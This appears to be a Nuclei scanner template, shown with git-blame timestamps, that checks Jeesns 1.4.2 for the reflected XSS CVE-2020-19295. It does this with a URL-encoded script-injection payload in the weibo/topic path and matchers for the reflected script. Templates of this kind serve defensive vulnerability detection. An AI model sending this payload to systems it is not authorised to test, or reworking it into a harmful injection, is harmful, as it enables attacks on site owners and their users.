2021-09-15 03:41:12 +00:00
id : CVE-2020-19295
info :
name : Jeesns Weibo Topic Reflection XSS
author : pikpikcu
severity : medium
2021-09-15 04:30:58 +00:00
description : reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
2021-09-15 03:41:12 +00:00
reference :
- https://github.com/zchuanzhao/jeesns/issues/21
- https://nvd.nist.gov/vuln/detail/CVE-2020-19295
2021-09-17 11:01:20 +00:00
tags : cve,cve2020,jeesns,xss
2021-09-15 03:41:12 +00:00
requests :
- method : GET
path :
2021-09-17 11:01:20 +00:00
- "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-09-15 03:41:12 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-09-17 11:01:20 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-15 03:41:12 +00:00
part : body
- type : status
status :
- 200
- type : word
part : header
2021-09-17 11:01:20 +00:00
words :
- text/html
